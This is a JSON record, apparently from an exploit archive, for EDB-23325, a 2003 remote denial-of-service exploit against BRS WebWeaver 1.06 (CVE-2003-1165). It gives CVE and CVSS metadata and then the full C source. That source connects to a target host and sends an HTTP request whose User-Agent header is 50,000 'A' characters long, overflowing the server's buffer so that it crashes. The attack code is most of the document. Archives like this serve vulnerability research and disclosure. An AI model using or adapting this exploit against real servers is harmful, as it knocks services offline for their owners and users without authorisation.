{"exploit":{"id":"EDB-23325","name":"BRS Webweaver 1.06 - HTTPd 'User-Agent' Remote Denial of Service (DoS)","description":"BRS Webweaver 1.06 - HTTPd 'User-Agent' Remote Denial of Service (DoS)","cves":["CVE-2003-1165"],"author":"D4rkGr3y","published":"2003-11-01","platform":"multiple","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23325","path":"exploits/multiple/dos/23325.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23325.c","vulnerabilities":[{"id":"CVE-2003-1165","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in BRS WebWeaver 1.06 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP request with a long User-Agent header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-1165","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-1165"},"updatedAt":"2024-08-08T02:19:45.877Z","retrievedAt":"2026-11-27T18:08:01.156Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23325.png?v=2","url":"https://exploitbin.com/exploits/EDB-23325","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23325/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23325/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/8947/info\n\nIt has been reported that BRS WebWeaver may be prone to a denial of service issue that may allow a remote attacker to cause the software to crash or hang. The issue presents itself when the server receives a request containing a large string value for the `User-Agent` parameter.\n\nSuccessful exploitation of this issue may allow an attacker to cause the software to crash or hang.\n\nBRS WebWeaver versions 1.06 and prior have been reported to be prone to this issue.\n\n/*\n *  BRS WebWeaver v.1.06 remote DoS exploit\n *\n * -d4rkgr3y [d4rk@securitylab.ru]\n *\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <netdb.h>\n#include <sys/socket.h>\n\n#define port 80\n\nmain(int argc, char **argv) {\n        struct hostent *hs;\n        struct sockaddr_in sock;\n        int sockfd, i;\n        const c = 50000;\n        char request[50150] =\n                \"GET /m00-r0cz HTTP/1.0\\n\"\n                \"Accept: */*\\n\"\n                \"Accept-Language: jp\\n\"\n                \"Accept-Encoding: gzip, deflate\\n\"\n                \"Host: m00security.org\\n\"\n                \"User-Agent: \";\n        printf(\"BRS WebWeaver v.1.06 remote DoS exploit\\n\\n\");\n\n        if (argc!=2){\n                printf(\"usage\\n %s hostname\\n\\n\",argv[0]);\n                exit(1);\n        }\n\n        //memset((request+98),0x41,c);\n        memset((request+strlen(request)),0x41,c);\n        /* l33t ;] */\n        request[strlen(request)] = 0x0a;\n        request[strlen(request)] = 0x43;\n        request[strlen(request)] = 0x6f;\n        request[strlen(request)] = 0x6e;\n        request[strlen(request)] = 0x6e;\n        request[strlen(request)] = 0x65;\n        request[strlen(request)] = 0x63;\n        request[strlen(request)] = 0x74;\n        request[strlen(request)] = 0x69;\n        request[strlen(request)] = 0x6f;\n        request[strlen(request)] = 0x6e;\n        request[strlen(request)] = 0x3a;\n        request[strlen(request)] = 0x20;\n        request[strlen(request)] = 0x4b;\n        request[strlen(request)] = 0x65;\n        request[strlen(request)] = 0x65;\nrequest[strlen(request)] = 0x70;\n        request[strlen(request)] = 0x2d;\n        request[strlen(request)] = 0x41;\n        request[strlen(request)] = 0x6c;\n        request[strlen(request)] = 0x69;\n        request[strlen(request)] = 0x76;\n        request[strlen(request)] = 0x65;\n        request[strlen(request)] = 0x0a;\n        request[strlen(request)] = 0x0a;\n\n        bzero(&sock, sizeof(sock));\n        sock.sin_family = AF_INET;\n        sock.sin_port = htons(port);\n        if ((sock.sin_addr.s_addr=inet_addr(argv[1]))==-1) {\n                if ((hs=gethostbyname(argv[1]))==NULL) {\n                        printf(\"damn\");\n                        exit(1);\n                }\n                printf(\"~ Host resolved.\\n\");\n                sock.sin_family = hs->h_addrtype;\n\nmemcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);\n        }\n        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){\n                perror(\"damn\");  exit(0);\n        }\n\n        if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){\n                perror(\"damn\"); exit(0);\n        }\n        printf(\"~ Socket connected\\n\");\n        printf(\"~ Sending evil code... \");\n        write(sockfd,request,strlen(request));\n        printf(\"done\\n\\n\");\n        close(sockfd);\n}","sha256":"5c8ecd301f9175de90015566214541547f7484a0033b9f13cb98c24ed838b3c6","bytes":3375,"fetchedAt":"2026-11-27T18:07:58.303Z","encoding":"utf-8 (display only; download retains original bytes)"}